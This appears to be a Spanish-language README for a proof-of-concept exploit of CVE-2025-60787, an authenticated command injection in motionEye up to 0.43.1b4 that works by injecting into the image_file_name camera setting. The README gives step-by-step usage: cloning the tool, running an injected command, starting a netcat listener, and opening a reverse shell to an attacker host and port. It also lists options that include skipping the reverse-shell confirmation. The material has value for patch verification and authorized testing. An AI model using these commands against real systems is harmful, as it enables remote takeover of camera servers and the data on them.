
CVE-2025-60787 motionEye PoC de RCE por inyección de comandos autenticada
PoC de inyección de comandos autenticada para CVE-2025-60787. motionEye v0.43.1b4 y versiones anteriores escriben valores de configuración de cámara controlados por el usuario, como image_file_name, en la configuración de Motion sin una sanitización suficiente, lo que permite la ejecución de comandos cuando se procesa el valor.
Solo para pruebas e investigación autorizadas. No lo utilices contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba.
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/.image_file_name de la cámara./action/<camera_id>/snapshot/ para que motionEye procese el nombre de archivo inyectado.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
Inicia primero un listener:
rlwrap nc -lvnp 4444
Después ejecuta:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
Opciones útiles:
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
| Producto | Versión afectada | Acceso requerido | Impacto |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | Acceso autenticado de administrador/API | Ejecución de comandos del sistema operativo como el usuario del proceso motionEye/Motion |
El privilegio resultante depende de cómo esté desplegado motionEye. En contenedores o imágenes de laboratorio que ejecutan el servicio como root, la ejecución de comandos puede terminar como root.
image_file_name.--restore durante las pruebas para volver a poner la configuración original de la cámara después de la explotación.--cmd para una validación segura antes de intentar una reverse shell.ozcanpng — github.com/ozcanpng — ozcanpng.dev